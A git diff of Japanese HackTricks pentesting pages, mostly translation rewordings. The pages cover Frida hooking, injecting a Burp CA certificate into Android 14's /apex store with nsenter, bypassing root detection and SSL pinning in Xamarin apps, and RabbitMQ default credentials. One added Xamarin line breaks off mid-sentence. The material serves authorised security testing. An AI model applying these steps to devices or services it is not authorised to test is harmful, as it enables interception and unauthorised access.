<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**アンハッカブルをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@
|
|||
|
||||
## Python
|
||||
|
||||
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フック**と**対話したり**することもできます。
|
||||
Fridaを使用すると、実行中のアプリケーションの関数に**JavaScriptコードを挿入**することができます。しかし、**python**を使用して**フックを呼び出したり**、**フックと対話したり**することもできます。
|
||||
|
||||
この簡単なpythonスクリプトは、このチュートリアルで提案されているすべての例に使用できます:
|
||||
```python
|
||||
|
@ -94,7 +94,7 @@ onComplete: function() { }
|
|||
|
||||
### 静的関数
|
||||
|
||||
関数が静的な場合、単純に呼び出すことができます:
|
||||
関数が静的な場合、単純に呼び出すことができます。
|
||||
```javascript
|
||||
//hook2.js
|
||||
Java.perform(function () {
|
||||
|
@ -129,13 +129,13 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを指定して明示する必要があります**。
|
||||
このチュートリアルでは、メソッドの名前と_.implementation_を使用してメソッドをフックしました。しかし、もし同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数の型を指定して明示する必要があります**。
|
||||
|
||||
次のチュートリアルでそれを見ることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -14,11 +14,11 @@
|
|||
|
||||
## 仮想マシン上で
|
||||
|
||||
まず、BurpからDer証明書をダウンロードする必要があります。これは、_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_で行うことができます。
|
||||
まず、BurpからDer証明書をダウンロードする必要があります。これは、_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行うことができます。
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。なお、**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**
|
||||
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。なお、**AndroidマシンのAVDでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**
|
||||
例えば、次のように実行できます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -52,11 +52,11 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
1. **CA証明書をインストールする**:DER形式のBurp証明書を`.crt`に拡張子を変更して、モバイルにドラッグ&ドロップするだけで、ダウンロードフォルダに保存されます。次に、「証明書をインストール」->「CA証明書」に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 証明書が正しく保存されたことを確認するために、「信頼された証明書」->「ユーザー」に移動します。
|
||||
* 証明書が正しく保存されていることを確認するために、「信頼された証明書」->「ユーザー」に移動します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **システム信頼済みにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップします。次に、電話のMagicsアプリに移動し、**`Modules`**セクションに移動し、**`ストレージからインストール`**をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します。
|
||||
|
||||
|
@ -72,18 +72,18 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
* これまで、システム信頼済みのCA証明書は**`/system/etc/security/cacerts/`**に存在していました。標準のAOSPエミュレータでは、これらは最小限のセットアップで**ルートアクセスで直接変更**することができ、**すぐにどこでも効果が現れました**。
|
||||
* Android 14では、システム信頼済みのCA証明書は一般的に**`/apex/com.android.conscrypt/cacerts`**に存在し、**`/apex`全体が変更不可能**です。
|
||||
* この**APEX cacertsパスは書き込み可能にリマウントできません** - リマウントは単純に失敗します。実際、ルートシェルからパス全体をアンマウントしても、アプリは証明書を問題なく読み取ることができます。
|
||||
* トップにtmpfsディレクトリをマウントする代替手法も機能しません - つまり、`ls /apex/com.android.conscrypt/cacerts`は何も返さない(または他の任意の内容を返す)かもしれませんが、アプリは同じ元のデータを見ることができます。
|
||||
* この**APEX cacertsパスは書き込み可能にリマウントできません** - リマウントは単純に失敗します。実際、ルートシェルからこのパス全体をアンマウントしても、アプリは証明書を問題なく読み取ることができます。
|
||||
* トップにtmpfsディレクトリをマウントする代替手法も機能しません - たとえ`ls /apex/com.android.conscrypt/cacerts`が何も返さない(または他の任意の値を返す)場合でも、アプリは同じ元のデータを見ることができます。
|
||||
* `/apex`マウントは[明示的にマウントされています](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **PRIVATEプロパゲーションで**、したがって`/apex`パス内のマウントの変更はプロセス間で共有されません。
|
||||
|
||||
これはOSを起動する`init`プロセスによって行われ、それが親からコピーされた新しいマウント名前空間を持つ[Zygoteプロセス](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)を起動し、それがデバイス上でアプリが起動されるたびに各アプリプロセスを開始します(それぞれが同じプライベート`/apex`マウントをコピーします)。
|
||||
これはOSを起動する`init`プロセスによって行われ、それが親からコピーされた新しいマウント名前空間を持つZygoteプロセス(独自の`/apex`マウントを含む)を起動し、デバイス上でアプリが起動されるたびに各アプリプロセスを開始します(それぞれが同じプライベート`/apex`マウントをコピーします)。
|
||||
|
||||
### マウントポイントを再帰的にリマウントする
|
||||
|
||||
* `/apex`を手動でリマウントし、PRIVATEプロパゲーションを削除して書き込み可能にします(皮肉なことに、プライベートプロパゲーションを完全に削除すると、どこにでもプロパゲーションされるようです)
|
||||
* `/apex`を手動でリマウントし、PRIVATEプロパゲーションを削除して書き込み可能にすることができます(皮肉なことに、プライベートプロパゲーションを完全に削除すると、どこにでもプロパゲーションされるようです)
|
||||
* `/apex/com.android.conscrypt`の内容を別の場所にコピーします
|
||||
* 次に、`/apex/com.android.conscrypt`を完全にアンマウントし、このモジュールを不変に提供する読み取り専用マウントを削除します
|
||||
* 次に、コンテンツをコピーして、それが修正可能な`/apex`マウントに直接存在するようにします(これを素早く行う必要があります。[おそらく](https://infosec.exchange/@g1a55er/111069489513139531)、それ以外の場合はクラッシュが発生する可能性があります)
|
||||
* 次に、`/apex/com.android.conscrypt`を完全にアンマウントします - これにより、このモジュールを不変に提供する読み取り専用マウントが削除されます
|
||||
* 次に、コンテンツをコピーして、それが直接`/apex`マウントに存在するようにします(これを素早く行う必要があります。そうしないと、[おそらく](https://infosec.exchange/@g1a55er/111069489513139531)クラッシュが発生する可能性があります)
|
||||
* これは即座に効果がありますが、すべてを一貫した状態に戻すために`system_server`を終了することをお勧めします
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
|
@ -174,7 +174,7 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,7 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンへの開発者のアクセスを提供するオープンソースプラットフォームです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンにアクセスできるオープンソースプラットフォームです。
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
Xamarinは、開発者が.NETおよびC#フレームワークを使用して、iOS、Android、およびWindows向けのモダンなアプリを作成するための包括的なツールとアドオンにアクセスできるオープンソースプラットフォームです。
|
||||
|
||||
### Xamarin Androidアーキテクチャ
|
||||
|
||||
|
@ -15,9 +24,9 @@ Xamarinは、Android.\*およびJava.\*の名前空間に対する.NETバイン
|
|||
|
||||
Androidアプリケーションは、Androidランタイム(ART)仮想マシンをサイドバイサイドで実行するMono実行環境で動作します。
|
||||
|
||||
Mono実行環境は、これらの名前空間に対してManaged Callable Wrappers(MCW)を呼び出し、Android Callable Wrappers(ACW)をARTに提供します。
|
||||
Mono実行環境は、Managed Callable Wrappers(MCW)を介してこれらの名前空間に呼び出しを行い、Android Callable Wrappers(ACW)をARTに提供します。
|
||||
|
||||
これらの環境の両方はLinuxカーネルの上で実行され、ユーザーコードにさまざまなAPIを呼び出します。この配置により、開発者は基礎となるシステムにアクセスできます。
|
||||
これらの環境の両方はLinuxカーネルの上で実行され、ユーザーコードにさまざまなAPIを呼び出します。この仕組みにより、開発者は基礎となるシステムにアクセスできます。
|
||||
|
||||
### Xamarin iOSプロジェクト
|
||||
|
||||
|
@ -27,42 +36,41 @@ Objective-Cランタイムと共に実行されます。ランタイム環境は
|
|||
|
||||
以下の図は、このアーキテクチャを示しています:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### .NetランタイムとMonoフレームワークとは?
|
||||
### .NetランタイムとMonoフレームワークとは何ですか?
|
||||
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスはマネージドコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性があるいくつかの機能を提供します。
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスは管理されたコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性のあるいくつかの機能を提供します。
|
||||
|
||||
**Monoフレームワーク**は、2005年にLinux(Ximian/SuSe/Novell)向けの.NET Frameworkの実装として開始されました。Microsoftのスポンサーを受け、Xamarinが主導するMonoは、Common Language RuntimeおよびC#のECMA標準に基づく.NETフレームワークのオープンソース実装です。
|
||||
|
||||
## Xamarinアプリのリバースエンジニアリング技術
|
||||
## Xamarinアプリの逆向きエンジニアリング技術
|
||||
|
||||
### Xamarinアセンブリの逆コンパイル
|
||||
|
||||
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは非常に便利です。
|
||||
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは素晴らしい場所です。
|
||||
|
||||
モジュールウィンドウを開くには、デバッグ > ウィンドウ > モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
|
||||
|
||||
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがその他のフォルダにエクスポートされ、さらなる分析が可能になります。
|
||||
**Visual Studio**は、シンボルがなくても管理されたコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがその他のフォルダにエクスポートされ、さらなる分析が可能になります。
|
||||
|
||||
### XamarinアプリのJITとAOTコンパイル
|
||||
|
||||
これらは、C#ベースのXamarinコードをアプリケーションにコンパイルするための2つのオプション、つまり**Just in timeコンパイルとahead of timeコンパイル**です。コンパイルの方法によって、アプリケーションコードがapkまたはipaファイル内でどのように出荷されるかが影響を受けます。以下で簡単に説明します:
|
||||
これらは、C#ベースのXamarinコードをアプリケーションにコンパイルするための2つのオプション、つまり**Just in timeコンパイルとahead of timeコンパイル**です。コンパイルの方法によって、アプリケーションコードがapkまたはipaファイル内でどのように出荷されるかが影響を受けます。以下でそれを見てみましょう:
|
||||
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方を使用してコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方を使用してコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行速度を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
|
||||
\- **iOS**:iOSの場合、**ahead-of-timeコンパイル**のオプションは1つだけです。これは、Appleのポリシーにより、デバイス上で動的に生成されたコードの実行が禁止されているためです。
|
||||
|
||||
{% hint style="info" %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持されている場合、それを使用してアプリケーションをリバースエンジニアリングすることができます。
|
||||
{% endhint %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdll
|
||||
## APK/IPAからdllファイルを取得する
|
||||
|
||||
単にapk/ipaファイルを解凍し、assembliesディレクトリの下に存在するすべてのファイルをコピーします。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接逆コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接逆コンパイルには使用できません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
|
@ -84,9 +92,9 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
## 動的解析
|
||||
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、システムのCAとして動作するBurpを使用してリクエストをインターセプトできます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、システムとしてのBurpを使用して、CAを介してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)は、Xamarinアプリ内の.NETバイナリをランタイムで簡単に変更できるようにします。静的解析を使用して、アプリケーション内に存在するさまざまなメソッドを特定し、Fridaxを使用して後で動的解析のためにフックできます。以下は、ルート検出やSSLピニングのバイパスに役立ついくつかのFridaスクリプトです:
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)は、Xamarinアプリ内の.NETバイナリをランタイムで簡単に変更することができます。静的解析を使用して、アプリ内に存在するさまざまなメソッドを特定し、Fridaxを使用して後で動的解析のためにフックすることができます。以下は、ルート検出やSSLピニングのバイパスに役立ついくつかのFridaスクリプトです:
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
|
@ -102,7 +110,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -30,7 +30,7 @@ RabbitMQについては、[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting
|
|||
|
||||
デフォルトの資格情報は "_**guest**_":"_**guest**_" です。動作しない場合は、[**ログインをブルートフォース**](../generic-methodologies-and-resources/brute-force.md#http-post-form)してみることができます。
|
||||
|
||||
このモジュールを手動で開始するには、次のコマンドを実行する必要があります:
|
||||
このモジュールを手動で起動するには、次のコマンドを実行する必要があります:
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -69,7 +69,7 @@ Content-Length: 267
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
